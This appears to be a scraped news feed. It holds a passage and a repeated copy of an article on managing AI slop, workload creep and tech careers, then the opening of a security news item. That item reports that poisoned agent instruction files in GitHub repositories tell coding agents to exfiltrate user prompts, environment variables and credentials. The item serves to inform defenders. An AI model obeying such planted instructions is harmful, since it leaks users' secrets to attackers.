<p class="wp-block-paragraph">When it comes to working with <a href="https://www.computerworld.com/article/1627101/what-are-large-language-models-and-how-are-they-used-in-generative-ai.html">LLM</a> tools, a well-known issue is dealing with <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html" target="_blank">AI workslop</a> and <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">hallucinations</a>. The slop is AI-generated output that is low-quality, buzzword-heavy, and generic. It also can refer to bloated, boilerplate code. Hallucinations are inaccurate or completely made-up results. AI routinely offers this messy or incorrect information with total confidence, giving users a false sense of security.</p>



<p class="wp-block-paragraph">Using this bad data can lead to anything from minor software bugs to severe liabilities. “Don’t believe the machine is infallible,” says <a href="https://www.wpi.edu/people/faculty/cshue" target="_blank" rel="noreferrer noopener">Craig Shue</a>, computer science professor and department head at Worcester Polytechnic Institute (WPI). “That’s when bugs will start working in. There’s a lot of misinformation on the internet, and that could be what the LLM is grabbing and using.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="674" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Craig Shue, computer science professor and department head at Worcester Polytechnic Institute </p>
</figcaption></figure><p class="imageCredit">WPI</p></div>



<p class="wp-block-paragraph">Here are ways to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Make AI show its work:</strong> Ask it to cite its sources or explain its reasoning. Example prompt: <em>Explain the logic and show the steps before writing the code.</em></li>



<li><strong>Give the AI a source of truth:</strong> Instead of letting the AI search the internet for information, give it the exact source material (reports, transcripts, data sheets) to base its output on, telling it to use <em>only</em> the information provided.</li>



<li><strong>Validate. Validate. Validate:</strong> Never let AI publish code directly to the main project without first reviewing and running it locally. Similarly, never take AI output and simply move it on to the next person in the project. Every single AI output needs review.</li>



<li><strong>Don’t be fooled by confidence:</strong> As with managing a human, question the output. When you’re busy or tired, it’s easy to just go with the results it gives you. Don’t. Always analyze and question it.</li>
</ul>



<h2 class="wp-block-heading">Taking on AI-driven workload creep</h2>



<p class="wp-block-paragraph">Let’s face it: The great promise of AI is that it will take over repetitive, manual tasks, which will save you an incredible amount of time. What isn’t talked about as much is that it also can create a new workload — one that can be exhausting in a whole new way.</p>



<p class="wp-block-paragraph">“Is AI saving people time? The short answer is yes,” says <a href="https://www.forrester.com/analyst-bio/j-p-gownder/BIO1728" target="_blank" rel="noreferrer noopener">J.P. Gownder</a>, vice president and principal analyst with Forrester Research. “But people also are being overwhelmed with overproduced things. Everyone wants to look busy and they’re producing more, but not necessarily better. Managers have to push back on that or it’s not really saving you time.”</p>



<p class="wp-block-paragraph">In a <a href="https://investors.upwork.com/news-releases/news-release-details/upwork-research-reveals-new-insights-ai-human-work-dynamic" target="_blank" rel="noreferrer noopener">multi-year study by Upwork</a>, the largest online freelance marketplace, 77% of employees reported that AI had increased their workload. The report noted that a boost in productivity comes with a “significant emotional and relational cost,” with 88% of workers who saw the highest productivity gains also feeling burned out. And IDC’s <a href="https://my.idc.com/getdoc.jsp?containerId=US54338426" target="_blank" rel="noreferrer noopener">Future of Work 2026</a> survey reported that 24% of IT workers report increased workload as a top AI concern.</p>



<p class="wp-block-paragraph">Here are ways to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Keep it short: </strong>Part of the prompt — always — should be to tell any AI tool to be concise.</li>



<li><strong>Build an anti-slop culture:</strong> Don’t simply accept and pass on workslop. It’s insulting for a co-worker to have to deal with pages of largely useless information.</li>



<li><strong>Filter the noise:</strong> When everyone on a team starts using AI, the volume of Slack messages, long-form memos, and data reports skyrockets. Don’t treat it all with equal importance. Practice radical prioritization.</li>



<li><strong>Manage the transcript deluge:</strong> Stop wading through 40-page meeting transcripts that bury action items. Instead, prompt the system to produce a concise summary focused strictly on deliverables or status updates.</li>



<li><strong>Reduce the AI blast radius: </strong>When asked to fix a bug, AI tools often rewrite hundreds of lines of unrelated code, multiplying your code review time. Prevent this by instructing the tool to isolate its changes <em>only</em> to the specific function or file in question.</li>
</ul>



<h2 class="wp-block-heading">Managing the AI mental tax</h2>



<p class="wp-block-paragraph">Using AI often necessitates a different kind of mental processing, changing what had been the natural pacing of your day and dramatically increasing context switching. Instead of simply building and testing, someone might be jumping back and forth between auditing, fact-checking, prompting, and re-prompting. To manage strain and protect your focus, new strategies are needed.</p>



<p class="wp-block-paragraph">Published this past March in the Harvard Business Review, a study by Boston Consulting Group and the University of California, Riverside, surveyed 1,500 workers and <a href="https://www.cbsnews.com/news/is-ai-productivity-prompting-burnout-study-finds-new-pattern-of-ai-brain-fry/" target="_blank" rel="noreferrer noopener">coined the term “AI brain fry.”</a> The researchers found that juggling multiple AI tools causes decision fatigue and increases errors.</p>



<p class="wp-block-paragraph">How to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Work in batches:</strong> Continuously reviewing AI output as it comes in can quickly lead to mental burnout. Dedicate blocks of time throughout your day to interact with your AI tools.</li>



<li><strong>Create analog islands:</strong> Your brain needs time to decompress, and that means taking a break from digital processing… and from screen time in general. Make time in your day to step away from screens, such as taking a 15-minute walk or reading a book instead of watching a video online.</li>



<li><strong>Know when to step in:</strong> Instead of endlessly tweaking prompts to get a perfect result, it is often faster and less mentally taxing to manually write or refactor the final 20% yourself.</li>



<li><strong>Create base prompts:</strong> Writing custom prompts that include everything from guardrails to tone instructions for every new project quickly drains your mental energy. Instead, build two or three reusable system prompts, such as one for refactoring legacy code and another for drafting API docs, and use them as templates.</li>
</ul>



<h2 class="wp-block-heading">Proving your human value in a new job market</h2>



<p class="wp-block-paragraph">With companies regularly using AI-based applicant tracking systems to filter resumes, and AI actively shifting job responsibilities and skills requirements, the strategy for how you apply for roles and handle interviews is changing.</p>



<p class="wp-block-paragraph"><a href="https://my.idc.com/getdoc.jsp?containerId=PRF005683" target="_blank" rel="noreferrer noopener">Leo Freitas</a>, an analyst and research manager at IDC Research, says it’s critical for job applicants to show potential employers what they can do that machines cannot. “You need demonstrable achievements,” he adds. “It’s good to show highly human skills.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Leo Freitas, analyst and research manager at IDC</p>
</figcaption></figure><p class="imageCredit">IDC</p></div>



<p class="wp-block-paragraph">How to combat the problem:</p>



<h4 class="wp-block-heading">For your resume:</h4>



<ul class="wp-block-list">
<li><strong>Mirror their language: </strong>Use the exact language from the job description. Traditional applicant tracking systems rely heavily on structured information and keyword matching, says <a href="https://www.linkedin.com/in/teresaehill/" target="_blank" rel="noreferrer noopener">Teresa Hill</a>, founder and leader of Anchor GTM, a growth marketing consultancy. That means if a posting says “product marketing manager,” don’t just write “PMM.” Write both.</li>



<li><strong>Keep it simple: </strong>Use standard section headers, like “Experience” and “Education.” Creative alternatives and formatting can confuse parsers.</li>



<li><strong>Avoid AI writing:</strong> Use AI to help structure your thinking, then edit until the copy sounds natural and authentically human.</li>



<li><strong>Swap responsibilities for metrics:</strong> To stand out, especially with AI scanners, tie as many bullet points as possible from your work to business outcomes.</li>
</ul>



<h4 class="wp-block-heading">For the interview:</h4>



<ul class="wp-block-list">
<li><strong>So, how do you use AI?</strong> Every interviewer eventually asks some version of this question. The best answers focus on judgment vs. simply name-dropping tools. Explain what you automate, what you never automate, and why.</li>



<li><strong>Show that you’re a gatekeeper: </strong>AI tools can generate code or copy instantly, but they also introduce errors. To stand out, show that you know how to audit, verify, and safeguard quality.</li>



<li><strong>Focus on learning:</strong> Don’t emphasize your expertise with a specific AI tool. Focus on being someone who is adaptable and learns quickly, Hill says. </li>



<li><strong>What sets you apart from a machine:</strong> Show, don’t tell. Give work examples that demonstrate that you know how to be creative, collaborative, and problem solve. Show metrics whenever possible.</li>



<li><strong>Demonstrate that you know the limits: </strong>Make it clear that you know when to use AI and what not to let it touch without heavy review. </li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Teresa Hill, founder and leader of Anchor GTM</p>
</figcaption></figure><p class="imageCredit">Teresa Hill</p></div>



<h2 class="wp-block-heading">Future-proofing your career in a shifting tech market</h2>



<p class="wp-block-paragraph">The anxiety echoing through the tech industry is tangible as companies reallocate corporate capital toward automation. While both Gownder and Freitas emphasize that there is far more fear than actual AI-driven layoffs, the shift in corporate spending is undeniably stoking job insecurity.</p>



<p class="wp-block-paragraph">“There’s this apocalyptical view that AI will take everyone’s job in a few years,” says Freitas. “I don’t see that happening, but many things will change in the nature of how we work. I don’t think the world is going to end tomorrow. But it’s always good to do a self-assessment and look at whether AI can do what you’re doing now.”</p>



<p class="wp-block-paragraph">How to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Use this technology to your advantage: </strong>Approach AI as a new tool, not a replacement. Use it to make yourself better and faster at your job. “I look at AI like it’s another new tool, and I’m going to learn it like I’ve learned any other tool,” says Jones.</li>



<li><strong>Don’t bury your head in the sand: </strong>Take a look at what you do and consider if it could be done by AI.If your role is highly automatable, think about switching to a more advanced position or to a role, like security, that more clearly needs a human in the loop.</li>



<li><strong>Take ownership of your career:</strong> Expand your knowledge and skills. Find courses and <a href="https://www.computerworld.com/article/4049928/top-ai-certifications-that-will-get-you-hired-and-promoted.html">certifications</a> (many are free online) and take advantage of employers’ training programs.</li>



<li><strong>Work with the business side:</strong> Make sure you understand the business — its long-term goals, competitive market, and jargon. Be the bridge between the technical and business sides of the company, giving presentations and solving business problems with technology.</li>



<li><strong>Highlight your in-house expertise:</strong> When you have institutional knowledge, make sure you are openly using it to benefit the business. Your knowledge can be your key differentiator.</li>



<li><strong>Push the business forward:</strong> Think about the next app or customer-facing system that will propel the business forward. Be the one who is advancing the company with tech.</li>



<li><strong>Continue to adapt:</strong> Don’t get stuck in your anxiety. Keep being curious and working your learning muscles. </li>
</ul>



<h4 class="wp-block-heading">More on AI in the workplace:</h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4047909/burned-out-by-bots-prompt-fatigue-in-workplace.html">Burned out by bots: The rise of prompt fatigue in the workplace</a></li>



<li><a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html">The AI tech job slaughter gets real</a></li>



<li><a href="https://www.cio.com/article/4159631/increased-ai-expectations-without-guidance-leads-to-employee-burnout.html" target="_blank">Increased AI expectations without guidance leads to employee burnout</a></li>



<li><a href="https://www.cio.com/article/4188575/botsitting-the-ai-time-savings-killer-only-governance-can-stop.html" target="_blank">‘Botsitting’: The AI time-savings killer only governance can stop</a></li>



<li><a href="https://www.computerworld.com/article/4049928/top-ai-certifications-that-will-get-you-hired-and-promoted.html">Here are the top AI certifications that will get you hired and promoted</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Surviving AI: Navigating workload creep, AI slop, and the new tech career playbook]]></title>
<description><![CDATA[After more than 30 years the cybersecurity field, Keith Jones recently realized that his role had changed, from being a single contributor to manager of a fairly large team. And this team was getting a lot accomplished — tasks that used to take up a huge chunk of his workday.



No, his company h...]]></description>
<link>https://tsecurity.de/de/3702950/it-nachrichten/surviving-ai-navigating-workload-creep-ai-slop-and-the-new-tech-career-playbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702950/it-nachrichten/surviving-ai-navigating-workload-creep-ai-slop-and-the-new-tech-career-playbook/</guid>
<pubDate>Tue, 04 Aug 2026 13:15:59 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">After more than 30 years the cybersecurity field, Keith Jones recently realized that his role had changed, from being a single contributor to manager of a fairly large team. And this team was getting a lot accomplished — tasks that used to take up a huge chunk of his workday.</p>



<p class="wp-block-paragraph">No, his company hadn’t hired a group of new employees to work under him. He simply accelerated his use of artificial intelligence tools. Now, instead of grinding through a lot of basic tasks, that work is done for him while he focuses on bigger-picture work.</p>



<p class="wp-block-paragraph">“It really feels like I have a team behind the scenes, but what I have is Claude [Anthropic’s AI tool],” says Jones, who currently works as a cybersecurity researcher. “I’ve been thinking for the last several months about how much differently I work now than I did a year ago, when I would sit and write all the low-level stuff before I could get to the 10% of the good stuff I really wanted to focus on. Now I can sit back and say, ‘Give me three different ways to solve this problem.’”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="678" sizes="(max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Keith Jones, cybersecurity researcher</p>
</figcaption></figure><p class="imageCredit">Keith Jones</p></div>



<p class="wp-block-paragraph">Most people working in the technology field, like Jones, have had to figure out how best to work with AI. The technology has come on strong, with many companies making its use mandatory and actively evaluating whether employees are faster and more efficient because of it. And while it is boosting productivity and taking over the burden of repetitive, manual tasks, it’s also creating a new level of stress and a dizzying kind of mental exhaustion.</p>



<p class="wp-block-paragraph">So what can tech workers do about the <a href="https://www.computerworld.com/article/4047909/burned-out-by-bots-prompt-fatigue-in-workplace.html">heavier mental load</a> that comes with using AI, on top of <a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html">escalating worries</a> about the safety of their own jobs? AI users and industry analysts say there are specific ways to ease some of those burdens and prepare for a changing job market.</p>



<h2 class="wp-block-heading">Combating the slop factor</h2>



<p class="wp-block-paragraph">When it comes to working with <a href="https://www.computerworld.com/article/1627101/what-are-large-language-models-and-how-are-they-used-in-generative-ai.html">LLM</a> tools, a well-known issue is dealing with <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html" target="_blank">AI workslop</a> and <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">hallucinations</a>. The slop is AI-generated output that is low-quality, buzzword-heavy, and generic. It also can refer to bloated, boilerplate code. Hallucinations are inaccurate or completely made-up results. AI routinely offers this messy or incorrect information with total confidence, giving users a false sense of security.</p>



<p class="wp-block-paragraph">Using this bad data can lead to anything from minor software bugs to severe liabilities. “Don’t believe the machine is infallible,” says <a href="https://www.wpi.edu/people/faculty/cshue" target="_blank" rel="noreferrer noopener">Craig Shue</a>, computer science professor and department head at Worcester Polytechnic Institute (WPI). “That’s when bugs will start working in. There’s a lot of misinformation on the internet, and that could be what the LLM is grabbing and using.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="674" sizes="(max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Craig Shue, computer science professor and department head at Worcester Polytechnic Institute </p>
</figcaption></figure><p class="imageCredit">WPI</p></div>



<p class="wp-block-paragraph">Here are ways to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Make AI show its work:</strong> Ask it to cite its sources or explain its reasoning. Example prompt: <em>Explain the logic and show the steps before writing the code.</em></li>



<li><strong>Give the AI a source of truth:</strong> Instead of letting the AI search the internet for information, give it the exact source material (reports, transcripts, data sheets) to base its output on, telling it to use <em>only</em> the information provided.</li>



<li><strong>Validate. Validate. Validate:</strong> Never let AI publish code directly to the main project without first reviewing and running it locally. Similarly, never take AI output and simply move it on to the next person in the project. Every single AI output needs review.</li>



<li><strong>Don’t be fooled by confidence:</strong> As with managing a human, question the output. When you’re busy or tired, it’s easy to just go with the results it gives you. Don’t. Always analyze and question it.</li>
</ul>



<h2 class="wp-block-heading">Taking on AI-driven workload creep</h2>



<p class="wp-block-paragraph">Let’s face it: The great promise of AI is that it will take over repetitive, manual tasks, which will save you an incredible amount of time. What isn’t talked about as much is that it also can create a new workload — one that can be exhausting in a whole new way.</p>



<p class="wp-block-paragraph">“Is AI saving people time? The short answer is yes,” says <a href="https://www.forrester.com/analyst-bio/j-p-gownder/BIO1728" target="_blank" rel="noreferrer noopener">J.P. Gownder</a>, vice president and principal analyst with Forrester Research. “But people also are being overwhelmed with overproduced things. Everyone wants to look busy and they’re producing more, but not necessarily better. Managers have to push back on that or it’s not really saving you time.”</p>



<p class="wp-block-paragraph">In a <a href="https://investors.upwork.com/news-releases/news-release-details/upwork-research-reveals-new-insights-ai-human-work-dynamic" target="_blank" rel="noreferrer noopener">multi-year study by Upwork</a>, the largest online freelance marketplace, 77% of employees reported that AI had increased their workload. The report noted that a boost in productivity comes with a “significant emotional and relational cost,” with 88% of workers who saw the highest productivity gains also feeling burned out. And IDC’s <a href="https://my.idc.com/getdoc.jsp?containerId=US54338426" target="_blank" rel="noreferrer noopener">Future of Work 2026</a> survey reported that 24% of IT workers report increased workload as a top AI concern.</p>



<p class="wp-block-paragraph">Here are ways to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Keep it short: </strong>Part of the prompt — always — should be to tell any AI tool to be concise.</li>



<li><strong>Build an anti-slop culture:</strong> Don’t simply accept and pass on workslop. It’s insulting for a co-worker to have to deal with pages of largely useless information.</li>



<li><strong>Filter the noise:</strong> When everyone on a team starts using AI, the volume of Slack messages, long-form memos, and data reports skyrockets. Don’t treat it all with equal importance. Practice radical prioritization.</li>



<li><strong>Manage the transcript deluge:</strong> Stop wading through 40-page meeting transcripts that bury action items. Instead, prompt the system to produce a concise summary focused strictly on deliverables or status updates.</li>



<li><strong>Reduce the AI blast radius: </strong>When asked to fix a bug, AI tools often rewrite hundreds of lines of unrelated code, multiplying your code review time. Prevent this by instructing the tool to isolate its changes <em>only</em> to the specific function or file in question.</li>
</ul>



<h2 class="wp-block-heading">Managing the AI mental tax</h2>



<p class="wp-block-paragraph">Using AI often necessitates a different kind of mental processing, changing what had been the natural pacing of your day and dramatically increasing context switching. Instead of simply building and testing, someone might be jumping back and forth between auditing, fact-checking, prompting, and re-prompting. To manage strain and protect your focus, new strategies are needed.</p>



<p class="wp-block-paragraph">Published this past March in the Harvard Business Review, a study by Boston Consulting Group and the University of California, Riverside, surveyed 1,500 workers and <a href="https://www.cbsnews.com/news/is-ai-productivity-prompting-burnout-study-finds-new-pattern-of-ai-brain-fry/" target="_blank" rel="noreferrer noopener">coined the term “AI brain fry.”</a> The researchers found that juggling multiple AI tools causes decision fatigue and increases errors.</p>



<p class="wp-block-paragraph">How to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Work in batches:</strong> Continuously reviewing AI output as it comes in can quickly lead to mental burnout. Dedicate blocks of time throughout your day to interact with your AI tools.</li>



<li><strong>Create analog islands:</strong> Your brain needs time to decompress, and that means taking a break from digital processing… and from screen time in general. Make time in your day to step away from screens, such as taking a 15-minute walk or reading a book instead of watching a video online.</li>



<li><strong>Know when to step in:</strong> Instead of endlessly tweaking prompts to get a perfect result, it is often faster and less mentally taxing to manually write or refactor the final 20% yourself.</li>



<li><strong>Create base prompts:</strong> Writing custom prompts that include everything from guardrails to tone instructions for every new project quickly drains your mental energy. Instead, build two or three reusable system prompts, such as one for refactoring legacy code and another for drafting API docs, and use them as templates.</li>
</ul>



<h2 class="wp-block-heading">Proving your human value in a new job market</h2>



<p class="wp-block-paragraph">With companies regularly using AI-based applicant tracking systems to filter resumes, and AI actively shifting job responsibilities and skills requirements, the strategy for how you apply for roles and handle interviews is changing.</p>



<p class="wp-block-paragraph"><a href="https://my.idc.com/getdoc.jsp?containerId=PRF005683" target="_blank" rel="noreferrer noopener">Leo Freitas</a>, an analyst and research manager at IDC Research, says it’s critical for job applicants to show potential employers what they can do that machines cannot. “You need demonstrable achievements,” he adds. “It’s good to show highly human skills.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="683" sizes="(max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Leo Freitas, analyst and research manager at IDC</p>
</figcaption></figure><p class="imageCredit">IDC</p></div>



<p class="wp-block-paragraph">How to combat the problem:</p>



<h4 class="wp-block-heading">For your resume:</h4>



<ul class="wp-block-list">
<li><strong>Mirror their language: </strong>Use the exact language from the job description. Traditional applicant tracking systems rely heavily on structured information and keyword matching, says <a href="https://www.linkedin.com/in/teresaehill/" target="_blank" rel="noreferrer noopener">Teresa Hill</a>, founder and leader of Anchor GTM, a growth marketing consultancy. That means if a posting says “product marketing manager,” don’t just write “PMM.” Write both.</li>



<li><strong>Keep it simple: </strong>Use standard section headers, like “Experience” and “Education.” Creative alternatives and formatting can confuse parsers.</li>



<li><strong>Avoid AI writing:</strong> Use AI to help structure your thinking, then edit until the copy sounds natural and authentically human.</li>



<li><strong>Swap responsibilities for metrics:</strong> To stand out, especially with AI scanners, tie as many bullet points as possible from your work to business outcomes.</li>
</ul>



<h4 class="wp-block-heading">For the interview:</h4>



<ul class="wp-block-list">
<li><strong>So, how do you use AI?</strong> Every interviewer eventually asks some version of this question. The best answers focus on judgment vs. simply name-dropping tools. Explain what you automate, what you never automate, and why.</li>



<li><strong>Show that you’re a gatekeeper: </strong>AI tools can generate code or copy instantly, but they also introduce errors. To stand out, show that you know how to audit, verify, and safeguard quality.</li>



<li><strong>Focus on learning:</strong> Don’t emphasize your expertise with a specific AI tool. Focus on being someone who is adaptable and learns quickly, Hill says. </li>



<li><strong>What sets you apart from a machine:</strong> Show, don’t tell. Give work examples that demonstrate that you know how to be creative, collaborative, and problem solve. Show metrics whenever possible.</li>



<li><strong>Demonstrate that you know the limits: </strong>Make it clear that you know when to use AI and what not to let it touch without heavy review. </li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Teresa Hill, founder and leader of Anchor GTM</p>
</figcaption></figure><p class="imageCredit">Teresa Hill</p></div>



<h2 class="wp-block-heading">Future-proofing your career in a shifting tech market</h2>



<p class="wp-block-paragraph">The anxiety echoing through the tech industry is tangible as companies reallocate corporate capital toward automation. While both Gownder and Freitas emphasize that there is far more fear than actual AI-driven layoffs, the shift in corporate spending is undeniably stoking job insecurity.</p>



<p class="wp-block-paragraph">“There’s this apocalyptical view that AI will take everyone’s job in a few years,” says Freitas. “I don’t see that happening, but many things will change in the nature of how we work. I don’t think the world is going to end tomorrow. But it’s always good to do a self-assessment and look at whether AI can do what you’re doing now.”</p>



<p class="wp-block-paragraph">How to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Use this technology to your advantage: </strong>Approach AI as a new tool, not a replacement. Use it to make yourself better and faster at your job. “I look at AI like it’s another new tool, and I’m going to learn it like I’ve learned any other tool,” says Jones.</li>



<li><strong>Don’t bury your head in the sand: </strong>Take a look at what you do and consider if it could be done by AI.If your role is highly automatable, think about switching to a more advanced position or to a role, like security, that more clearly needs a human in the loop.</li>



<li><strong>Take ownership of your career:</strong> Expand your knowledge and skills. Find courses and <a href="https://www.computerworld.com/article/4049928/top-ai-certifications-that-will-get-you-hired-and-promoted.html">certifications</a> (many are free online) and take advantage of employers’ training programs.</li>



<li><strong>Work with the business side:</strong> Make sure you understand the business — its long-term goals, competitive market, and jargon. Be the bridge between the technical and business sides of the company, giving presentations and solving business problems with technology.</li>



<li><strong>Highlight your in-house expertise:</strong> When you have institutional knowledge, make sure you are openly using it to benefit the business. Your knowledge can be your key differentiator.</li>



<li><strong>Push the business forward:</strong> Think about the next app or customer-facing system that will propel the business forward. Be the one who is advancing the company with tech.</li>



<li><strong>Continue to adapt:</strong> Don’t get stuck in your anxiety. Keep being curious and working your learning muscles. </li>
</ul>



<h4 class="wp-block-heading">More on AI in the workplace:</h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4047909/burned-out-by-bots-prompt-fatigue-in-workplace.html">Burned out by bots: The rise of prompt fatigue in the workplace</a></li>



<li><a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html">The AI tech job slaughter gets real</a></li>



<li><a href="https://www.cio.com/article/4159631/increased-ai-expectations-without-guidance-leads-to-employee-burnout.html" target="_blank">Increased AI expectations without guidance leads to employee burnout</a></li>



<li><a href="https://www.cio.com/article/4188575/botsitting-the-ai-time-savings-killer-only-governance-can-stop.html" target="_blank">‘Botsitting’: The AI time-savings killer only governance can stop</a></li>



<li><a href="https://www.computerworld.com/article/4049928/top-ai-certifications-that-will-get-you-hired-and-promoted.html">Here are the top AI certifications that will get you hired and promoted</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Attackers are crafting malicious AI instruction files to turn your agentic workflows into quiet criminal helpers]]></title>
<description><![CDATA[AI agents are increasingly being deployed across the enterprise, a rapid adoption that has significantly broadened the organization’s attack surface, turning sharable AI agent resources and configuration files into backdoors, security experts warn.



AI-assisted software developers have been inc...]]></description>
<link>https://tsecurity.de/de/3702597/it-security-nachrichten/attackers-are-crafting-malicious-ai-instruction-files-to-turn-your-agentic-workflows-into-quiet-criminal-helpers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702597/it-security-nachrichten/attackers-are-crafting-malicious-ai-instruction-files-to-turn-your-agentic-workflows-into-quiet-criminal-helpers/</guid>
<pubDate>Tue, 04 Aug 2026 10:49:51 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI agents are increasingly being deployed across the enterprise, a rapid adoption that has significantly broadened the organization’s attack surface, turning sharable AI agent resources and configuration files into backdoors, security experts warn.</p>



<p class="wp-block-paragraph">AI-assisted software developers have been increasingly targeted through malicious IDE extensions, rogue MCP servers, and poisoned AI skills, all of which provide attackers inroads into organizations’ development pipelines and beyond. But these AI helper resources are not the only types of instruction files that developers and users share with one another when making use of AI coding assistants and command-line interface (CLI) agents.</p>



<p class="wp-block-paragraph">For example, Anthropic’s Claude Code CLI agent loads system prompts from a file called <code>CLAUDE.md</code>. This file contains instructions that are sent to the LLM along with every user prompt to avoid having to repeat rules, user preferences, and persona definitions for the model.</p>



<p class="wp-block-paragraph"><code>CLAUDE.md</code> can be used globally for all projects or be used on a per-project basis to include instructions about how the LLM should operate within that project. It’s not unusual for <code>CLAUDE.md</code> files to be included in a shared repository to ensure project-relevant consistency in the conventions developers use when working with Claude Code.</p>



<p class="wp-block-paragraph">Other coding agents have similar files, such as OpenAI Codex’s <code>AGENTS.md</code> or Google Gemini’s <code>GEMINI.md</code>. AI-assisted IDEs such as Cursor or Cline have <code>.cursorrules</code> and <code>.clinerules</code>. GitHub Copilot has <code>.github/copilot-instructions.md</code>. Then there are JSON configuration files that could also contain executable code, such as <code>mcp.json</code>, <code>hooks.json</code>, or <code>settings.json</code>. Hooks are a popular way to deliver scripts and commands based on triggers during an agentic loop.</p>



<p class="wp-block-paragraph">All these files could hide malicious code or instructions and should be regularly checked and validated, especially if imported from the internet along with a repository.</p>



<p class="wp-block-paragraph">Researchers from security firm Mitiga recently shed light on this threat, releasing a report on code repositories they found in the wild with malicious instructions injected in such files. The files instructed the target agent to exfiltrate all prompts typed by the user, including all sensitive information they might contain, as well as environment variables and other credentials used by the agent. The researchers dubbed this backdoor attack technique “PromptLogger,” and it is one enterprise security teams and developers are likely to see more of in the future.</p>



<p class="wp-block-paragraph">“Traditional keyloggers capture keystrokes and send them to an attacker,” Mitiga’s researchers write in <a href="https://www.mitiga.io/resources/promptlogger-ai-instruction-file-exfiltration-report">their report on the attack vector</a>. “PromptLogger-style behavior captures something richer: the prompts and sometimes responses exchanged with an attacker. That matters because prompts increasingly contain source code, architectural plans, credentials pasted for troubleshooting, internal documentation, debugging output, customer samples, business logic, and operator intent.”</p>



<p class="wp-block-paragraph">Enterprises have been apprehensive about <a href="https://www.csoonline.com/article/3964282/cisos-no-closer-to-containing-shadow-ais-skyrocketing-data-risks.html">corporate data leakage via shadow AI use</a> for good reason. This type of attack enables surveillance of corporate even on vetted and sanctioned AI tools.</p>



<p class="wp-block-paragraph">Moreover, this attack leaves no malicious binary on disk, does not inject code into other processes, and has no classic persistence mechanisms. As a result, it won’t be detected by EDRs or from a workstation monitoring perspective, because it looks like normal tool usage given that the agent itself is performing the exfiltration.</p>



<h2 class="wp-block-heading">Exfiltration to external cloud-hosted databases</h2>



<p class="wp-block-paragraph">Mitiga’s researchers found and reported multiple examples of agent instruction file poisoning on GitHub repositories. None were popular repositories accessed by a large number of developers, but they don’t need to be. Links to these repositories could be sent to victims in targeted attacks, as has been seen in <a href="https://www.csoonline.com/article/3518577/fake-recruitment-campaign-targets-developers-using-trojanized-python-packages.html">fake recruitment attacks</a> where developers are asked during the interview process to clone GitHub projects containing malicious code.</p>



<p class="wp-block-paragraph">One example was a DevOps repository containing poisoned <code>.cursorrules</code> and <code>.github/copilot-instructions.md</code>. The repository contained a full-stack application built with React + Vite frontend, along with Express API, PostgreSQL, nginx configuration, Docker containers, GitLab CI jobs, and AWS infrastructure setup files for Terraform and Terragrrunt. In other words, everything needed to deploy that application.</p>



